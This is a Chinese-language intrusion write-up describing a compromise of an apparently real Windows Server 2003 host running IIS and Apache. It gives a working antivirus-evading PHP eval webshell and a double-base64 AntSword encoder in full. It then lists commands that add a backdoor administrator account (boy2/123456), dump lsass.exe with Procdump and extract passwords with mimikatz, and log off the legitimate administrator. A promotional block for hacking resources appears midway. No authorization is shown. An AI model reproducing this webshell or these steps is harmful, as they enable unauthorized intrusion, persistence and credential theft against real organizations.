目标系统是windows,
服务层有IIs6.0,Apache-Web-Server,
支撑层有ASP.NET,ASP,jQuery,VisualSVN,PHP5.2.6
利用goby对ip进行扫描,使用nmap工具也同样能扫出所有开放的端口
结合goby和nmap扫描的端口情况,手工探测了下,发现总共有5个web应用,以及开放了MySQL、RDP服务。
端口 | 应用 | 运行环境 | 备注 |
---|---|---|---|
501 | WEB:xxxxxxx网络课程发布系统 | IIS6.0 | 登录口爆破 |
500 | WEB:默认iis服务 | IIS6.0 | 扫描下目录 |
60000 | WEB:VisualSVNServer | Apache | 登录口爆破 |
5555 | WEB:Index of / | Apache、IIS6.0 | 存在目录浏览漏洞 |
8031 | WEB:默认iis服务 | IIS6.0 | 扫描下目录 |
33060 | MySQL | 爆破下弱口令 | |
38938 | RDP, Remote Desktop Protocol | WindowsServer2003 | 爆破下弱口令 |
利用7kbscan对几个WEB目标目录进行扫描
我们这里选择上传的文件位置也是有原因的,因为要连接我们的马的话,我们需要知道他的详细的路径,这时候我们就想到了我们的5555端口的index of的文件目录,可以发现index of的目录是x:\xxx\xxx\www\htdocs
所以我们就选择这个目录作为我们的webshell上传的目录(这个文件目录是通过信息搜集得出的,具体看信息搜集部分)
补充:这里是如果用普通的一句话木马我们可能连接上一次以后就没法连接了,原因是目标存在杀软,我们要对我们的木马进行加密,这里我们选择了双base64加密,需要我们新建一个双base64加密的编码器,然后再进行连接(编码器和马都在下方提供)
双base64编码器:
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/**
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下 data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
免杀马(密码为password):
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
拓展:PHP短标签
这里有些waf有可能过滤
//php.ini中
short_open_tag = On //这个配置需要开启,否则无法使用短标签
//除,可使用更灵活的调用方法
<?/*程序操作*/ ?>
<?=/*函数*/?><?=$a?>//这里的等号大概就相当于echo
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
1.目标系统信息:
可以看到他的安全模式是关闭的,Apache是(2.2.9APMServ),PHP是5.2.6,把远程桌面连接的端口改到了38938,服务器操作系统是:WINNT ,web端口是5555 ,web路径是E:/xxx/xxx/www/htdocs
系统允许使用URL打开文件,允许使用curl_exec执行一个cURL会话,会显示错误信息,系统会报错(这样可以利用报错知道数据库等一些文件的路径)
魔术引号也开着,允许最大上传文件时20M,开启了MySQL数据库,支持Session、Socket,可以以ODBC方式连接mysql数据库
FTP也是开的,Telnet端口是23
当我们用蚁剑连上shell时,在终端里看到已经是system最高权限了
输入ipconfig
发现目标机开了两张网卡
输入netsh firewall show config
查看防火墙信息
可以看到防火墙的配置以及端口的开放
2.目标存在杀软情况:
【----帮助安全学习,所有资源获取处----】
①18份渗透测试电子书
②安全攻防300页笔记
③30份安全攻防面试指南
④安全红队渗透工具包
⑤网络安全必备书籍
⑥99个漏洞实战案例
我们打算先在在蚁剑里执行tasklist /svc
查看进程,然后看目标机开了那些杀软,但是在蚁剑里tasklist /svc却执行不了
首先我们怀疑是tasklist /svc的东西太多了,显示不出来,所以我们用tasklist /svc > 1.txt
,该命令是把前面tasklist /svc命令的内容保存到1.txt文件中,我们回到上传的PHP大马中
发现文档是空的,我们使用ipconfig >1.txt
是有内容的,这里存在疑惑,要是有师傅知道问题原因还希望可以指点下,输出ipconfig 都行,输出这个tasklist /svc却没有回显
首先在蚁剑的终端上创建一个账号和密码,并添加到管理员组
添加账号:net user boy2 123456 /add
添加了一个名为boy2 密码为123456的用户,用于远程桌面的登录
把用户添加到管理员组:net localgroup Administrators boy2 /add
这样我们就有了一个账号为boy2 ,密码为123456的管理员账号了,接着我们就可以用远程桌面连接目标的电脑了
在自己的电脑上同时按win +R 然后输入mstsc回车,调出远程桌面连接窗口
输入刚刚创建的用户名和密码这样就成功连上了目标
我们在cmd终端输入tasklist /svc
发现可以执行
进入网址http://getav.404sec.com/查询
发现目标机有360和深信服edr(edr是指终端检测响应平台, 端点软件支持防病毒功能、入侵防御功能、防火墙隔离功能、数据信息采集上报、安全事件的一键处置等)
于是我们打算把管理员账号密码dump下来
使用大马将Procdump工具传到目标机的boy2用户的目录下,即C:/xxxx/boy2/
下
Procdump下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump(Procdump是微软自带的把进程dump下来的程序,可以抓取正确数据集合.,它会指定的时间内监控目标进程的cpu,,并在那个点抓取一个内存快照(dump).因为Procdump是微软自带的,所以他不会被杀毒软件拦截)
因为目标机是windows2003,所以我们使用Procdump.exe,它粘贴至桌面
在目标机里面使用cmd,使用cd命令到desktop
使用命令:Procdump.exe -accepteula -ma lsass.exe lsass.dmp
把lsass.exe文件dump下来(lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。涉及到核心与用户权限相关的核心功能。)
得到这么一个文件
然后使用mimikatz把管理员账号密码破解出来
只需将lsass.dmp文件放到mimikatz.exe文件的同一个目录下
然后点击mimikatz.exe,输入命令
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
然后就拿到了目标的管理员账号和密码
我们在远程桌面连接的cmd终端里输入systeminfo
查看系统信息
并且安装了482个修补程序
这里有一个问题没解决:看到目标机的域是JWC但是输入net time/domain
却显示找不到域JWC的域控制器所以就先结束渗透了
当我们退出终端时,再用boy2用户连接时,会发现有深信服的ERP,需要输入验证密码才能管理远程桌面
我们只需要在蚁剑里面把Administrator用户退掉,然后重新用我们破解出来的管理员账号和密码重新登录即可
在蚁剑终端输入:query user
看到administrator的ID是3,所以我们输入logoff 3即可把administrator管理员用户退掉(query user
:查看当前登录的用户logoff
:退出用户)
然后在远程桌面电脑连接用破解出来的管理员账号和密码登录
goby、7kbscan、蚁剑、mimikatz
弱口令、文件上传漏洞
改文件后缀绕waf,编码器绕waf,使用微软自带的Procdump程序,利用lsass.exe文件获得管理员账号密码